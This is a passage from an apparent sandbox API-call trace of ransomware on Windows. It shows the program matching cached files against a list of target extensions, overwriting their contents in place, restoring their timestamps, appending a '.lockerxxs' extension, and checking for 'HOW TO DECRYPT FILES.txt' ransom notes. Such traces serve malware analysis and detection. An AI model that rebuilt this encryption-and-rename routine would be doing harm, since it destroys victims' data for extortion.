(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qbj") returned 0 [0084.249] lstrlenA (lpString="*.qbj") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.ofx") returned 0 [0084.249] lstrlenA (lpString="*.ofx") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qif") returned 0 [0084.249] lstrlenA (lpString="*.qif") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.mye") returned 0 [0084.250] lstrlenA (lpString="*.mye") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.mbox") returned 0 [0084.250] lstrlenA (lpString="*.mbox") returned 6 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.eml") returned 0 [0084.250] lstrlenA (lpString="*.eml") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.pst") returned 0 [0084.250] lstrlenA (lpString="*.pst") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.ost") returned 0 [0084.250] lstrlenA (lpString="*.ost") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.idx") returned 0 [0084.250] lstrlenA (lpString="*.idx") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.dbx") returned 0 [0084.250] lstrlenA (lpString="*.dbx") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.sql") returned 0 [0084.250] lstrlenA (lpString="*.sql") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.mdb") returned 0 [0084.250] lstrlenA (lpString="*.mdb") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.fdb") returned 0 [0084.250] lstrlenA (lpString="*.fdb") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.wab") returned 0 [0084.250] lstrlenA (lpString="*.wab") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.dat") returned 0 [0084.250] lstrlenA (lpString="*.dat") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.txt") returned 0 [0084.250] lstrlenA (lpString="*.txt") returned 5 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.jpeg") returned 0 [0084.250] lstrlenA (lpString="*.jpeg") returned 6 [0084.250] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.jpg") returned 1 [0084.250] lstrlenA (lpString="*.jpg") returned 5 [0084.250] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" [0084.251] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" [0084.251] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg." [0084.251] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.lockerxxs" [0084.251] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.251] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc20 [0084.251] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53017770, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53017770, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53017770, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.251] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.251] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xbfa, lpOverlapped=0x0) returned 1 [0084.253] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg") returned="BBBZ5vT[1].jpg" [0084.253] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.253] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xbfa, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xbfa, lpOverlapped=0x0) returned 1 [0084.253] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.254] CloseHandle (hObject=0xa4) returned 1 [0084.254] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg.lockerxxs")) returned 1 [0084.256] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x514ddbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x514ddbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x514ddbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC02Gr[1].jpg", cAlternateFileName="BBC02G~1.JPG")) returned 1 [0084.256] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.256] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC02Gr[1].jpg") returned 1 [0084.256] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC02Gr[1].jpg") returned 1 [0084.256] lstrcmpiA (lpString1="", lpString2="BBC02Gr[1].jpg") returned -1 [0084.256] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg") returned="BBBZ5vT[1].jpg" [0084.256] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.256] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.256] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.256] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.256] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC02Gr[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" [0084.256] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.ems") returned 0 [0084.256] lstrlenA (lpString="*.ems") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.db") returned 0 [0084.257] lstrlenA (lpString="*.db") returned 4 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.dbf") returned 0 [0084.257] lstrlenA (lpString="*.dbf") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.myox") returned 0 [0084.257] lstrlenA (lpString="*.myox") returned 6 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.myo") returned 0 [0084.257] lstrlenA (lpString="*.myo") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qbw") returned 0 [0084.257] lstrlenA (lpString="*.qbw") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qbb") returned 0 [0084.257] lstrlenA (lpString="*.qbb") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qbm") returned 0 [0084.257] lstrlenA (lpString="*.qbm") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qbo") returned 0 [0084.257] lstrlenA (lpString="*.qbo") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qbx") returned 0 [0084.257] lstrlenA (lpString="*.qbx") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qba") returned 0 [0084.257] lstrlenA (lpString="*.qba") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qby") returned 0 [0084.257] lstrlenA (lpString="*.qby") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qbj") returned 0 [0084.257] lstrlenA (lpString="*.qbj") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.ofx") returned 0 [0084.257] lstrlenA (lpString="*.ofx") returned 5 [0084.257] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.qif") returned 0 [0084.258] lstrlenA (lpString="*.qif") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.mye") returned 0 [0084.258] lstrlenA (lpString="*.mye") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.mbox") returned 0 [0084.258] lstrlenA (lpString="*.mbox") returned 6 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.eml") returned 0 [0084.258] lstrlenA (lpString="*.eml") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.pst") returned 0 [0084.258] lstrlenA (lpString="*.pst") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.ost") returned 0 [0084.258] lstrlenA (lpString="*.ost") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.idx") returned 0 [0084.258] lstrlenA (lpString="*.idx") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.dbx") returned 0 [0084.258] lstrlenA (lpString="*.dbx") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.sql") returned 0 [0084.258] lstrlenA (lpString="*.sql") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.mdb") returned 0 [0084.258] lstrlenA (lpString="*.mdb") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.fdb") returned 0 [0084.258] lstrlenA (lpString="*.fdb") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.wab") returned 0 [0084.258] lstrlenA (lpString="*.wab") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.dat") returned 0 [0084.258] lstrlenA (lpString="*.dat") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.txt") returned 0 [0084.258] lstrlenA (lpString="*.txt") returned 5 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.jpeg") returned 0 [0084.258] lstrlenA (lpString="*.jpeg") returned 6 [0084.258] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", pszSpec="*.jpg") returned 1 [0084.258] lstrlenA (lpString="*.jpg") returned 5 [0084.259] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" [0084.259] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" [0084.259] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg." [0084.259] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.lockerxxs" [0084.259] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.259] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x86e [0084.259] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x514ddbd0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x514ddbd0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x514ddbd0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.259] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.259] 